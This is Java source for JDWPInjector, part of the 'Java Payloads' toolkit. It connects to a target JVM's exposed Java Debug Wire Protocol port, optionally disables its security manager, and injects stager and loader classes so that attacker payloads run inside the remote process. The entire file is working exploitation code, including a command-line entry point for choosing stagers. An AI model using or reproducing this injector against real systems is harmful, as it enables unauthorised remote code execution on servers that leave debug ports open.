/* * Java Payloads. * * Copyright (c) 2010, Michael 'mihi' Schierl * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * - Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * * - Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * - Neither name of the copyright holders nor the names of its * contributors may be used to endorse or promote products derived from * this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE * USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ package javapayload.builder; import java.io.ByteArrayOutputStream; import java.io.InputStream; import java.io.PrintStream; import java.util.ArrayList; import java.util.List; import java.util.Map; import javapayload.handler.stager.StagerHandler; import com.sun.jdi.ClassType; import com.sun.jdi.ThreadReference; import com.sun.jdi.VirtualMachine; import com.sun.jdi.VirtualMachineManager; import com.sun.jdi.connect.AttachingConnector; import com.sun.jdi.connect.ListeningConnector; import com.sun.jdi.connect.Connector.Argument; import com.sun.jdi.event.Event; import com.sun.jdi.event.EventIterator; import com.sun.jdi.event.EventSet; import com.sun.jdi.event.StepEvent; import com.sun.jdi.request.StepRequest; public class JDWPInjector { public static ClassType inject(VirtualMachine vm, byte[][] classes, String embeddedArgs, boolean disableSecurityManager, PrintStream consoleOut) throws Exception { ClassType result = null; consoleOut.println("== Preparing..."); if (vm.eventRequestManager().stepRequests().size() > 0) { throw new RuntimeException("Some threads are currently stepping"); } for (int i = 0; i < vm.allThreads().size(); i++) { final ThreadReference tr = (ThreadReference) vm.allThreads().get(i); vm.eventRequestManager().createStepRequest(tr, StepRequest.STEP_MIN, StepRequest.STEP_INTO).enable(); } final com.sun.jdi.event.EventQueue q = vm.eventQueue(); boolean done = false; consoleOut.println("== Handling events..."); vm.resume(); while (true) { final EventSet es; if (!done) { es = q.remove(); } else { es = q.remove(1000); if (es == null) { break; } } for (final EventIterator ei = es.eventIterator(); ei.hasNext();) { final Event e = ei.nextEvent(); consoleOut.println("== Event received: " + e.toString()); if (!done && e instanceof StepEvent) { final StepEvent se = (StepEvent) e; final ThreadReference tr = se.thread(); vm.eventRequestManager().deleteEventRequest(se.request()); final List stepRequests = new ArrayList(vm.eventRequestManager().stepRequests()); for (int i = 0; i < stepRequests.size(); i++) { ((StepRequest) stepRequests.get(i)).disable(); } if (disableSecurityManager) { consoleOut.println("== Disabling security manager..."); ClassType _System = (ClassType) vm.classesByName("java.lang.System").get(0); _System.setValue(_System.fieldByName("security"), null); } consoleOut.println("== Trying to inject..."); try { final JDWPClassInjector ci = new JDWPClassInjector(tr); for (int i = 0; i < classes.length; i++) { ClassType ct = ci.inject(classes[i], i == classes.length - 1 ? embeddedArgs : null); if (i==0) result = ct; } consoleOut.println("== done."); done = true; for (int i = 0; i < stepRequests.size(); i++) { vm.eventRequestManager().deleteEventRequest((StepRequest) stepRequests.get(i)); } } catch (final Throwable ex) { ex.printStackTrace(); for (int i = 0; i < stepRequests.size(); i++) { ((StepRequest) stepRequests.get(i)).enable(); } } } } es.resume(); } return result; } public static void main(String[] args) throws Exception { if (args.length < 4) { System.out.println("Usage: java javapayload.builder.JDWPInjector [stageroptions] -- [stageoptions]"); return; } final String[] stagerArgs = new String[args.length - 1]; for (int i = 1; i < args.length; i++) { stagerArgs[i - 1] = args[i]; } StagerHandler.Loader loader = new StagerHandler.Loader(stagerArgs); inject(args[0], loader, stagerArgs); } public static void inject(String connector, final StagerHandler.Loader loader, String[] stagerArgs) throws Exception { final String stager = stagerArgs[0]; final VirtualMachineManager vmm = com.sun.jdi.Bootstrap.virtualMachineManager(); VirtualMachine vm = null; boolean disableSecurityManager = false; if (connector.endsWith("!")) { disableSecurityManager = true; connector = connector.substring(0, connector.length()-1); } final int pos = connector.lastIndexOf(':'); if (pos == -1) { final int port = Integer.parseInt(connector); for (int i = 0; i < vmm.listeningConnectors().size(); i++) { final ListeningConnector lc = (ListeningConnector) vmm.listeningConnectors().get(i); if (lc.name().equals("com.sun.jdi.SocketListen")) { final Map connectorArgs = lc.defaultArguments(); ((Argument) connectorArgs.get("port")).setValue("" + port); lc.startListening(connectorArgs); vm = lc.accept(connectorArgs); lc.stopListening(connectorArgs); } } } else { final int port = Integer.parseInt(connector.substring(pos + 1)); for (int i = 0; i < vmm.attachingConnectors().size(); i++) { final AttachingConnector ac = (AttachingConnector) vmm.attachingConnectors().get(i); if (ac.name().equals("com.sun.jdi.SocketAttach")) { final Map connectorArgs = ac.defaultArguments(); ((Argument) connectorArgs.get("hostname")).setValue(connector.substring(0, pos)); ((Argument) connectorArgs.get("port")).setValue("" + port); vm = ac.attach(connectorArgs); break; } } } boolean isJDWPTunnelStager = stager.equals("JDWPTunnel"); loader.handleBefore(loader.stageHandler.consoleErr, null); // may modify stagerArgs final StringBuffer embeddedArgs = new StringBuffer(); for (int i = 0; i < stagerArgs.length; i++) { if (i != 0) { embeddedArgs.append("\n"); } embeddedArgs.append("$").append(stagerArgs[i]); } Class[] classes = new Class[] { javapayload.stager.Stager.class, Class.forName("javapayload.stager." + stager), javapayload.loader.JDWPLoader.class }; if (isJDWPTunnelStager) { classes = new Class[] { javapayload.loader.JDWPCommunication.class, javapayload.stager.Stager.class, javapayload.stager.JDWPTunnel.class, javapayload.loader.JDWPLoader.class }; } final byte[][] classBytes = new byte[classes.length][]; for (int i = 0; i < classes.length; i++) { final InputStream in = JDWPInjector.class.getResourceAsStream("/" + classes[i].getName().replace('.', '/') + ".class"); final ByteArrayOutputStream out = new ByteArrayOutputStream(); final byte[] tmp = new byte[4096]; int len; while ((len = in.read(tmp)) != -1) { out.write(tmp, 0, len); } in.close(); out.close(); classBytes[i] = out.toByteArray(); if (classBytes[i] == null) { throw new RuntimeException(); } } ClassType firstInjectedClass = inject(vm, classBytes, embeddedArgs.toString(), disableSecurityManager, loader.stageHandler.consoleOut); if (isJDWPTunnelStager) { loader.handleAfter(loader.stageHandler.consoleErr, firstInjectedClass); } else { vm.dispose(); loader.handleAfter(loader.stageHandler.consoleErr, null); } } }